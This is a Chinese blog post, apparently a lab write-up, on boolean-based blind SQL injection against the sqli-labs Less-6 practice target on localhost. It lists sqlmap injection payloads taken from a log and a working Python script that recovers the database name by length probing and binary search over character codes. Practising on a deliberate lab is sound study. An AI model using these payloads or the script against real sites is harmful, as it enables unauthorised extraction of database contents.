布尔盲注脚本-sqlilabs-less6

 写这个起因是用sqlmap跑完,从日志里看它payload想自己复现一下。

不过sqlmap好像并没有识别数据库名的长度,而是直接从第一位开始判断。也可能它payload混在了前面识别类型的里面我没注意。判断库名的部分payload如下

ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>96#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>112#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>120#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>114#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>115#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>112#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>104#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>100#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>102#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>101#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>64#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>96#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>112#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>104#
ID:1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>100#

大意是将database()转换为char类型,判断是否为空,非空的话就截取第x位。利用大于号判断其ASCII码值的区间来确定最终值。

如果大于,即and条件为真 页面显示正常,会有一行黄字You are in...........

我自己的脚本思路是,先判断数据库名长度,再利用二分法读取库名。哈哈说是复现,跟sqlmap不一样。懒惰,不想翻源码了

import requests
def getlength():
    i=1
    while(i<10):
        url = 'http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and (select length(database()))={} --+'
        url=url.format(i)
        r = requests.get(url)
        if("You are in..........." in r.text):
            return i
        i += 1        

if __name__ == "__main__":
    u = 'http://127.0.0.1/sqli-labs-master/Less-6/?id='
    #chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    payload = '1" AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),{},1))>{}--+'
    n=getlength()
    databasename=''
    for i in range(1,n+1):
        min_ascii = 65
        max_ascii = 122
        while(abs(max_ascii-min_ascii)>1):
            mid = (max_ascii + min_ascii)//2
            url = u + payload
            url = url.format(i,mid)
            r = requests.get(url)
            if("You are in..........." in r.text):
                min_ascii = mid 
            else:
                max_ascii = mid 
        databasename += chr(max_ascii)
    print(databasename)

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值